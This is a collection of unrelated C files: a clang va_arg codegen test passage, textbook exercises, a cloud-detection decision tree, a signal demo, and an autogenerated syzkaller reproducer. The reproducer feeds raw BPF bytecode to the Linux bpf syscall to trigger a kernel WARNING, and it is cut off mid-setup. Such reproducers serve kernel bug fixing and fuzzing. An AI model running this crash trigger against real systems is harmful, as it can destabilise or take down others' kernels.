// CHECK: [[GR_OFFS:%[a-z_0-9]+]] = load i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 3)
// CHECK: [[EARLY_ONSTACK:%[a-z_0-9]+]] = icmp sge i32 [[GR_OFFS]], 0
// CHECK: br i1 [[EARLY_ONSTACK]], label %[[VAARG_ON_STACK:[a-z_.0-9]+]], label %[[VAARG_MAYBE_REG:[a-z_.0-9]+]]
// CHECK: [[VAARG_MAYBE_REG]]
// CHECK: [[NEW_REG_OFFS:%[a-z_0-9]+]] = add i32 [[GR_OFFS]], 8
// CHECK: store i32 [[NEW_REG_OFFS]], i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 3)
// CHECK: [[INREG:%[a-z_0-9]+]] = icmp sle i32 [[NEW_REG_OFFS]], 0
// CHECK: br i1 [[INREG]], label %[[VAARG_IN_REG:[a-z_.0-9]+]], label %[[VAARG_ON_STACK]]
// CHECK: [[VAARG_IN_REG]]
// CHECK: [[REG_TOP:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 1)
// CHECK: [[REG_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[REG_TOP]], i32 [[GR_OFFS]]
// CHECK: [[FROMREG_ADDR:%[a-z_0-9]+]] = bitcast i8* [[REG_ADDR]] to %struct.aligned_bigstruct**
// CHECK: br label %[[VAARG_END:[a-z._0-9]+]]
// CHECK: [[VAARG_ON_STACK]]
// CHECK: [[STACK:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[NEW_STACK:%[a-z_0-9]+]] = getelementptr i8* [[STACK]], i32 8
// CHECK: store i8* [[NEW_STACK]], i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[FROMSTACK_ADDR:%[a-z_0-9]+]] = bitcast i8* [[STACK]] to %struct.aligned_bigstruct**
// CHECK: br label %[[VAARG_END]]
// CHECK: [[VAARG_END]]
// CHECK: [[ADDR:%[a-z._0-9]+]] = phi %struct.aligned_bigstruct** [ [[FROMREG_ADDR]], %[[VAARG_IN_REG]] ], [ [[FROMSTACK_ADDR]], %[[VAARG_ON_STACK]] ]
// CHECK: load %struct.aligned_bigstruct** [[ADDR]]
}
double simple_double(void) {
// CHECK-LABEL: define double @simple_double
return va_arg(the_list, double);
// CHECK: [[VR_OFFS:%[a-z_0-9]+]] = load i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 4)
// CHECK: [[EARLY_ONSTACK:%[a-z_0-9]+]] = icmp sge i32 [[VR_OFFS]], 0
// CHECK: br i1 [[EARLY_ONSTACK]], label %[[VAARG_ON_STACK:[a-z_.0-9]+]], label %[[VAARG_MAYBE_REG]]
// CHECK: [[VAARG_MAYBE_REG]]
// CHECK: [[NEW_REG_OFFS:%[a-z_0-9]+]] = add i32 [[VR_OFFS]], 16
// CHECK: store i32 [[NEW_REG_OFFS]], i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 4)
// CHECK: [[INREG:%[a-z_0-9]+]] = icmp sle i32 [[NEW_REG_OFFS]], 0
// CHECK: br i1 [[INREG]], label %[[VAARG_IN_REG:[a-z_.0-9]+]], label %[[VAARG_ON_STACK]]
// CHECK: [[VAARG_IN_REG]]
// CHECK: [[REG_TOP:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 2)
// CHECK: [[REG_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[REG_TOP]], i32 [[VR_OFFS]]
// CHECK-BE: [[REG_ADDR_VAL:%[0-9]+]] = ptrtoint i8* [[REG_ADDR]] to i64
// CHECK-BE: [[REG_ADDR_VAL_ALIGNED:%[a-z_0-9]*]] = add i64 [[REG_ADDR_VAL]], 8
// CHECK-BE: [[REG_ADDR:%[0-9]+]] = inttoptr i64 [[REG_ADDR_VAL_ALIGNED]] to i8*
// CHECK: [[FROMREG_ADDR:%[a-z_0-9]+]] = bitcast i8* [[REG_ADDR]] to double*
// CHECK: br label %[[VAARG_END:[a-z._0-9]+]]
// CHECK: [[VAARG_ON_STACK]]
// CHECK: [[STACK:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[NEW_STACK:%[a-z_0-9]+]] = getelementptr i8* [[STACK]], i32 8
// CHECK: store i8* [[NEW_STACK]], i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[FROMSTACK_ADDR:%[a-z_0-9]+]] = bitcast i8* [[STACK]] to double*
// CHECK: br label %[[VAARG_END]]
// CHECK: [[VAARG_END]]
// CHECK: [[ADDR:%[a-z._0-9]+]] = phi double* [ [[FROMREG_ADDR]], %[[VAARG_IN_REG]] ], [ [[FROMSTACK_ADDR]], %[[VAARG_ON_STACK]] ]
// CHECK: [[RESULT:%[a-z_0-9]+]] = load double* [[ADDR]]
// CHECK: ret double [[RESULT]]
}
struct hfa {
float a, b;
};
struct hfa simple_hfa(void) {
// CHECK-LABEL: define %struct.hfa @simple_hfa
return va_arg(the_list, struct hfa);
// CHECK: [[VR_OFFS:%[a-z_0-9]+]] = load i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 4)
// CHECK: [[EARLY_ONSTACK:%[a-z_0-9]+]] = icmp sge i32 [[VR_OFFS]], 0
// CHECK: br i1 [[EARLY_ONSTACK]], label %[[VAARG_ON_STACK:[a-z_.0-9]+]], label %[[VAARG_MAYBE_REG:[a-z_.0-9]+]]
// CHECK: [[VAARG_MAYBE_REG]]
// CHECK: [[NEW_REG_OFFS:%[a-z_0-9]+]] = add i32 [[VR_OFFS]], 32
// CHECK: store i32 [[NEW_REG_OFFS]], i32* getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 4)
// CHECK: [[INREG:%[a-z_0-9]+]] = icmp sle i32 [[NEW_REG_OFFS]], 0
// CHECK: br i1 [[INREG]], label %[[VAARG_IN_REG:[a-z_.0-9]+]], label %[[VAARG_ON_STACK]]
// CHECK: [[VAARG_IN_REG]]
// CHECK: [[REG_TOP:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 2)
// CHECK: [[FIRST_REG:%[a-z_0-9]+]] = getelementptr i8* [[REG_TOP]], i32 [[VR_OFFS]]
// CHECK-LE: [[EL_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[FIRST_REG]], i32 0
// CHECK-BE: [[EL_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[FIRST_REG]], i32 12
// CHECK: [[EL_TYPED:%[a-z_0-9]+]] = bitcast i8* [[EL_ADDR]] to float*
// CHECK: [[EL_TMPADDR:%[a-z_0-9]+]] = getelementptr inbounds [2 x float]* %[[TMP_HFA:[a-z_.0-9]+]], i32 0, i32 0
// CHECK: [[EL:%[a-z_0-9]+]] = load float* [[EL_TYPED]]
// CHECK: store float [[EL]], float* [[EL_TMPADDR]]
// CHECK-LE: [[EL_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[FIRST_REG]], i32 16
// CHECK-BE: [[EL_ADDR:%[a-z_0-9]+]] = getelementptr i8* [[FIRST_REG]], i32 28
// CHECK: [[EL_TYPED:%[a-z_0-9]+]] = bitcast i8* [[EL_ADDR]] to float*
// CHECK: [[EL_TMPADDR:%[a-z_0-9]+]] = getelementptr inbounds [2 x float]* %[[TMP_HFA]], i32 0, i32 1
// CHECK: [[EL:%[a-z_0-9]+]] = load float* [[EL_TYPED]]
// CHECK: store float [[EL]], float* [[EL_TMPADDR]]
// CHECK: [[FROMREG_ADDR:%[a-z_0-9]+]] = bitcast [2 x float]* %[[TMP_HFA]] to %struct.hfa*
// CHECK: br label %[[VAARG_END:[a-z_.0-9]+]]
// CHECK: [[VAARG_ON_STACK]]
// CHECK: [[STACK:%[a-z_0-9]+]] = load i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[NEW_STACK:%[a-z_0-9]+]] = getelementptr i8* [[STACK]], i32 8
// CHECK: store i8* [[NEW_STACK]], i8** getelementptr inbounds (%struct.__va_list* @the_list, i32 0, i32 0)
// CHECK: [[FROMSTACK_ADDR:%[a-z_0-9]+]] = bitcast i8* [[STACK]] to %struct.hfa*
// CHECK: br label %[[VAARG_END]]
// CHECK: [[VAARG_END]]
// CHECK: [[ADDR:%[a-z._0-9]+]] = phi %struct.hfa* [ [[FROMREG_ADDR]], %[[VAARG_IN_REG]] ], [ [[FROMSTACK_ADDR]], %[[VAARG_ON_STACK]] ]
}
void check_start(int n, ...) {
// CHECK-LABEL: define void @check_start(i32 %n, ...)
va_list the_list;
va_start(the_list, n);
// CHECK: [[THE_LIST:%[a-z_0-9]+]] = alloca %struct.__va_list
// CHECK: [[VOIDP_THE_LIST:%[a-z_0-9]+]] = bitcast %struct.__va_list* [[THE_LIST]] to i8*
// CHECK: call void @llvm.va_start(i8* [[VOIDP_THE_LIST]])
}
|
the_stack_data/218273.c
|
/**
* Exercise 5-13: Write the program tail, which prints the last
* n lines of its input. By default, n is 10, let us say, but
* it can be changed by an optional argument, so that tail -n
* prints the last n lines.
*
* The program should behave rationally no matter how unreasonable
* the input or the value of n. Write the program so it makes the
* best use of available storage; lines should be stored as in the
* sorting program of Section 5.6, not in a two-dimensional array
* of fixed size.
* */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAXLINES 5000
#define MAXLEN 5000
int get_line(char *, int);
void tail(int n)
{
char *lineptr[MAXLINES], line[MAXLEN];
int len;
char *p;
int nlines = 0;
while ((len = get_line(line, MAXLEN)) > 0) {
p = malloc(len + 1);
strcpy(p, line);
lineptr[nlines++] = p;
}
int i = nlines - n;
i = (i >= 0) ? i : 0;
while (n > 0 && i < nlines) {
printf("%s", lineptr[i++]);
n--;
}
}
int main(int argc, char **argv)
{
int n;
if (argc == 1)
n = 10;
else if (argc == 2 && (*++argv)[0] == '-') {
n = atoi(*argv + 1);
if (n < 1)
n = 10;
} else {
printf("Usage: tail -n\n");
return 1;
}
tail(n);
return 0;
}
int get_line(char *s, int lim)
{
int c, i;
for (i = 0; i < lim-1 && (c=getchar()) != EOF && c != '\n'; ++i)
*s++ = c;
if (c == '\n') {
*s++ = c;
++i;
}
*s = '\0';
return i;
}
|
the_stack_data/187642206.c
|
// FIXME: XFAIL the test because it is expected to return non-zero value.
// XFAIL: *
// REQUIRES: x86-target-arch
// RUN: %clang_builtins %s %librt -o %t && %run %t
//===-- cpu_model_test.c - Test __builtin_cpu_supports --------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file tests __builtin_cpu_supports for the compiler_rt library.
//
//===----------------------------------------------------------------------===//
#include <stdio.h>
int main (void) {
#if defined(i386) || defined(__x86_64__)
if(__builtin_cpu_supports("avx2"))
return 4;
else
return 3;
#else
printf("skipped\n");
return 0;
#endif
}
|
the_stack_data/47721.c
|
#include <curses.h>
int scr_init(const char * filename)
{
return ERR;
}
/*
XOPEN(400)
LINK(curses)
*/
|
the_stack_data/60067.c
|
/*
*Copyright 2020 University of Alberta
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @file iris_cloud_detection.c
* @author Leo Gao
* @date ????-??-??
*/
/*Standard Lib Includes*/
#include <stdbool.h>
bool isCloud(const float b, const float r, const float nir, const float swir) {
if (b <= 0.2616838663816452f) {
if (b <= 0.18350715935230255f) {
if (b <= 0.15572862327098846f) {
if (nir <= 0.1685667410492897f) {
if (r <= 0.1215934082865715f) {
if (r <= 0.1018952950835228f) {
return false;
} else {
if (nir <= 0.1330953985452652f) {
if (swir <= 0.09109343215823174f) {
return true;
} else {
if (b <= 0.131435327231884f) {
if (swir <= 0.10173411667346954f) {
if (r <= 0.1076790988445282f) {
if (b <= 0.11768569052219391f) {
return true;
} else {
return false;
}
} else {
if (nir <= 0.11504844948649406f) {
return false;
} else {
return true;
}
}
} else {
if (r <= 0.11919023841619492f) {
return false;
} else {
return true;
}
}
} else {
return false;
}
}
} else {
return false;
}
}
} else {
if (swir <= 0.1229896992444992f) {
if (swir <= 0.0954805389046669f) {
if (r <= 0.1380484402179718f) {
if (b <= 0.13567355275154114f) {
if (swir <= 0.08828428387641907f) {
return false;
} else {
if (nir <= 0.13842519372701645f) {
return true;
} else {
return false;
}
}
} else {
return false;
}
} else {
if (swir <= 0.08987395837903023f) {
return false;
} else {
if (swir <= 0.09282263368368149f) {
return true;
} else {
return false;
}
}
}
} else {
if (b <= 0.14432980865240097f) {
if (swir <= 0.11131089553236961f) {
if (b <= 0.137241892516613f) {
if (nir <= 0.1304190531373024f) {
return false;
} else {
if (nir <= 0.1485811173915863f) {
return true;
} else {
if (r <= 0.12536748498678207f) {
return false;
} else {
return true;
}
}
}
} else {
if (r <= 0.1292107179760933f) {
return false;
} else {
return true;
}
}
} else {
if (r <= 0.13243908435106277f) {
return false;
} else {
return true;
}
}
} else {
if (r <= 0.14032947272062302f) {
if (nir <= 0.1317063644528389f) {
return true;
} else {
return false;
}
} else {
if (b <= 0.15405497699975967f) {
if (r <= 0.1489717811346054f) {
return true;
} else {
return false;
}
} else {
if (r <= 0.14317549020051956f) {
return false;
} else {
return true;
}
}
}
}
}
} else {
return true;
}
}
} else {
return false;
}
} else {
if (swir <= 0.17161446064710617f) {
if (r <= 0.1467537209391594f) {
return true;
} else {
if (swir <= 0.09122516214847565f) {
return false;
} else {
if (swir <= 0.09530062228441238f) {
if (b <= 0.16910938173532486f) {
if (nir <= 0.17432628571987152f) {
return true;
} else {
return false;
}
} else {
return false;
}
} else {
if (swir <= 0.13254816830158234f) {
if (nir <= 0.15733032673597336f) {
if (r <= 0.15215881913900375f) {
return false;
} else {
return true;
}
} else {
if (nir <= 0.18281875550746918f) {
if (swir <= 0.11320330575108528f) {
if (swir <= 0.1018667034804821f) {
if (b <= 0.1593920737504959f) {
return true;
} else {
return false;
}
} else {
return false;
}
} else {
return true;
}
} else {
return true;
}
}
} else {
if (b <= 0.16637111455202103f) {
return true;
} else {
if (nir <= 0.20772482454776764f) {
if (b <= 0.17534811049699783f) {
if (r <= 0.1608622893691063f) {
if (nir <= 0.1744132563471794f) {
return false;
} else {
if (nir <= 0.19500765949487686f) {
return true;
} else {
return false;
}
}
} else {
return false;
}
} else {
if (nir <= 0.18375881761312485f) {
if (swir <= 0.14265763759613037f) {
return false;
} else {
return true;
}
} else {
return true;
}
}
} else {
return true;
}
}
}
}
}
}
} else {
return true;
}
}
} else {
if (swir <= 0.130018413066864f) {
if (swir <= 0.1084778793156147f) {
return false;
} else {
if (b <= 0.2179376408457756f) {
if (r <= 0.17570822685956955f) {
if (nir <= 0.16281570494174957f) {
return true;
} else {
if (nir <= 0.25475989282131195f) {
if (b <= 0.19685833901166916f) {
if (r <= 0.15951097756624222f) {
return false;
} else {
if (nir <= 0.1932307630777359f) {
if (nir <= 0.17957039922475815f) {
return true;
} else {
return false;
}
} else {
return true;
}
}
} else {
return false;
}
} else {
return true;
}
}
} else {
if (nir <= 0.18417301028966904f) {
return true;
} else {
if (swir <= 0.1172850951552391f) {
return false;
} else {
if (b <= 0.19451767206192017f) {
return false;
} else {
if (r <= 0.20806267112493515f) {
return true;
} else {
return false;
}
}
}
}
}
} else {
if (r <= 0.21827813982963562f) {
if (b <= 0.22592248022556305f) {
if (r <= 0.19194677472114563f) {
return false;
} else {
if (swir <= 0.1237867884337902f) {
return false;
} else {
return true;
}
}
} else {
return false;
}
} else {
return true;
}
}
}
} else {
if (swir <= 0.24454279243946075f) {
if (b <= 0.19991427659988403f) {
if (swir <= 0.19206351041793823f) {
if (nir <= 0.22366202622652054f) {
if (swir <= 0.13743160665035248f) {
if (r <= 0.17667649686336517f) {
return true;
} else {
return false;
}
} else {
return true;
}
} else {
if (r <= 0.1986062154173851f) {
if (swir <= 0.15185333043336868f) {
return false;
} else {
if (b <= 0.1893436312675476f) {
if (r <= 0.18414215743541718f) {
return true;
} else {
return false;
}
} else {
return true;
}
}
} else {
if (nir <= 0.2299898862838745f) {
return true;
} else {
return false;
}
}
}
} else {
if (swir <= 0.21403657644987106f) {
if (b <= 0.1926003247499466f) {
return false;
} else {
if (r <= 0.2012772262096405f) {
return true;
} else {
return false;
}
}
} else {
return false;
}
}
} else {
if (r <= 0.2583845853805542f) {
if (swir <= 0.16916587203741074f) {
if (swir <= 0.13563881814479828f) {
if (b <= 0.23381713777780533f) {
if (r <= 0.1805218830704689f) {
return false;
} else {
if (r <= 0.2278900444507599f) {
return true;
} else {
return false;
}
}
} else {
if (r <= 0.22627928853034973f) {
return false;
} else {
return true;
}
}
} else {
if (nir <= 0.21636711806058884f) {
if (b <= 0.21666181087493896f) {
return true;
} else {
if (b <= 0.22506532818078995f) {
if (r <= 0.19041138142347336f) {
return false;
} else {
return true;
}
} else {
return false;
}
}
} else {
if (r <= 0.18892355263233185f) {
if (b <= 0.21948501467704773f) {
if (nir <= 0.2926177382469177f) {
return true;
} else {
return false;
}
} else {
return false;
}
} else {
if (r <= 0.24664689600467682f) {
if (b <= 0.24001945555210114f) {
if (r <= 0.2325720116496086f) {
if (r <= 0.2055959329009056f) {
if (b <= 0.2226148396730423f) {
if (nir <= 0.29608336091041565f) {
return true;
} else {
return false;
}
} else {
if (nir <= 0.24444111436605453f) {
return false;
} else {
return true;
}
}
} else {
if (b <= 0.21460863947868347f) {
if (nir <= 0.2467319592833519f) {
return true;
} else {
return false;
}
} else {
return true;
}
}
} else {
if (b <= 0.23135944455862045f) {
return false;
} else {
return true;
}
}
} else {
if (nir <= 0.24657293409109116f) {
if (r <= 0.22839190065860748f) {
return false;
} else {
return true;
}
} else {
if (r <= 0.22159968316555023f) {
if (nir <= 0.26167501509189606f) {
return false;
} else {
return true;
}
} else {
return true;
}
}
}
} else {
if (b <= 0.23745397478342056f) {
return false;
} else {
return true;
}
}
}
}
}
} else {
if (b <= 0.2268221080303192f) {
if (r <= 0.22514289617538452f) {
if (swir <= 0.2124999314546585f) {
if (nir <= 0.24318204820156097f) {
return true;
} else {
if (b <= 0.2057235687971115f) {
if (r <= 0.20751319825649261f) {
return true;
} else {
return false;
}
} else {
if (nir <= 0.3267645835876465f) {
return true;
} else {
return false;
}
}
}
} else {
if (b <= 0.2112562507390976f) {
if (nir <= 0.24015408009290695f) {
return true;
} else {
return false;
}
} else {
return true;
}
}
} else {
if (r <= 0.23578332364559174f) {
if (b <= 0.2133011370897293f) {
return false;
} else {
return true;
}
} else {
return false;
}
}
} else {
if (nir <= 0.3551904559135437f) {
if (swir <= 0.18531618267297745f) {
if (nir <= 0.3108386993408203f) {
return true;
} else {
return false;
}
} else {
return true;
}
} else {
if (swir <= 0.20792880654335022f) {
return false;
} else {
return true;
}
}
}
}
} else {
if (b <= 0.24988262355327606f) {
return false;
} else {
if (r <= 0.2778242379426956f) {
return true;
} else {
return false;
}
}
}
}
} else {
if (b <= 0.22468672692775726f) {
if (b <= 0.21358995884656906f) {
return false;
} else {
if (nir <= 0.2738629877567291f) {
return true;
} else {
if (r <= 0.23155757039785385f) {
return true;
} else {
return false;
}
}
}
} else {
if (r <= 0.2722383141517639f) {
if (b <= 0.24431665986776352f) {
if (nir <= 0.29368163645267487f) {
return true;
} else {
return false;
}
} else {
return true;
}
} else {
if (b <= 0.25501789152622223f) {
return false;
} else {
if (r <= 0.28636857867240906f) {
return true;
} else {
return false;
}
}
}
}
}
}
}
} else {
if (swir <= 0.15164829790592194f) {
if (swir <= 0.13042839616537094f) {
if (swir <= 0.11416876316070557f) {
return false;
} else {
if (nir <= 0.3410834074020386f) {
if (r <= 0.249460868537426f) {
return false;
} else {
if (b <= 0.28611600399017334f) {
if (nir <= 0.29978735744953156f) {
return true;
} else {
return false;
}
} else {
if (r <= 0.2750682383775711f) {
return false;
} else {
if (b <= 0.3050225079059601f) {
if (swir <= 0.12240461260080338f) {
return false;
} else {
return true;
}
} else {
return false;
}
}
}
}
} else {
return false;
}
}
} else {
if (nir <= 0.2636381685733795f) {
return false;
} else {
if (b <= 0.3767738342285156f) {
if (swir <= 0.13971594721078873f) {
if (b <= 0.27920936048030853f) {
if (r <= 0.24487118422985077f) {
return false;
} else {
return true;
}
} else {
if (r <= 0.27748778462409973f) {
return false;
} else {
if (b <= 0.30443213880062103f) {
return true;
} else {
if (r <= 0.3059317171573639f) {
return false;
} else {
return true;
}
}
}
}
} else {
if (b <= 0.2916194498538971f) {
if (r <= 0.24498550593852997f) {
return false;
} else {
return true;
}
} else {
if (r <= 0.29602184891700745f) {
return false;
} else {
return true;
}
}
}
} else {
return true;
}
}
}
} else {
if (swir <= 0.16261164844036102f) {
if (nir <= 0.2706031799316406f) {
return false;
} else {
if (r <= 0.3797828406095505f) {
return true;
} else {
return false;
}
}
} else {
if (b <= 0.29708558320999146f) {
if (r <= 0.3054882735013962f) {
if (nir <= 0.2734023928642273f) {
return true;
} else {
if (r <= 0.2905828505754471f) {
return true;
} else {
if (b <= 0.27066099643707275f) {
return false;
} else {
return true;
}
}
}
} else {
if (b <= 0.28413522243499756f) {
return false;
} else {
if (r <= 0.319858118891716f) {
return true;
} else {
return false;
}
}
}
} else {
return true;
}
}
}
}
}
|
the_stack_data/115766289.c
|
#include <stdio.h>
#include <unistd.h> // alarm, pause のために必要
#include <signal.h> // signal のために必要
void handler(int n) {} // 何もしないハンドラ関数
int main(int argc, char *argv[]) {
signal(SIGALRM, handler); // SIGALRMを捕捉に変更する
alarm(3);
printf("pause()します\n");
pause(); // プロセスが停止する
printf("pause()が終わりました\n");
return 0;
}
/* 実行例
$ ./a.out
pause()します
pause()が終わりました <-- 3秒後表示される
*/
|
the_stack_data/80521.c
|
// WARNING in bpf_test_run
// https://syzkaller.appspot.com/bug?id=774c590240616eaa3423
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \
*(type*)(addr) = \
htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \
(((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
int collide = 0;
again:
for (call = 0; call < 5; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (collide && (call % 2) == 0)
break;
event_timedwait(&th->done, 50);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
if (!collide) {
collide = 1;
goto again;
}
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5000) {
continue;
}
kill_and_wait(pid, &status);
break;
}
}
}
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res = 0;
switch (call) {
case 0:
*(uint32_t*)0x20000200 = 3;
*(uint32_t*)0x20000204 = 0xe;
*(uint64_t*)0x20000208 = 0x20000440;
memcpy((void*)0x20000440,
"\xb7\x02\x00\x00\x03\x00\x00\x00\xbf\xa3\x00\x00\x00\x00\x00\x00"
"\x07\x03\x00\x00\x00\xfe\xff\xff\x7a\x0a\xf0\xff\xf8\xff\xff\xff"
"\x79\xa4\xf0\xff\x00\x00\x00\x00\xb7\x06\x00\x00\xff\xff\xff\xff"
"\x2d\x64\x05\x00\x00\x00\x00\x00\x65\x04\x04\x00\x01\x00\x00\x00"
"\x04\x04\x00\x00\x01\x00\x7d\x60\xb7\x03\x00\x00\x00\x00\x00\x00"
"\x6a\x0a\x00\xfe\x87\x68\x00\x00\x85\x00\x00\x00\x0d\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00\x95\x00\x02\x00\x00\x00\x00\x00"
"\xca\xcb\xf0\xb9\xc4\xb8\x84\x49\xc3\xa9\x26\x04\x25\x12\xe1\x7e"
"\x46\xf7\x07\x1a\x46\x31\x43\xfb\x42\xc2\x0e\x01\x7d\xa8\x39\xee"
"\xc4\x21\x07\xf2\xe6\xdd\xbe\x11\x50\x29\x6c\x6a\x6d\xb4\xaf\xa7"
"\xc8\x1b\x26\x36\xb1\xc5\xfb\xe2\x4e\xc8\x83\x17",
172);
*(uint64_t*)0x20000210 = 0x20000340;
memcpy((void*)0x20000340, "syzkaller\000", 10);
*(uint32_t*)0x20000218 = 0;
*(uint32_t*)0x2000021c = 0;
*(uint64_t*)0x20000220 = 0;
*(uint32_t*)0x20000228 = 0;
*(uint32_t*)0x2000022c = 0;
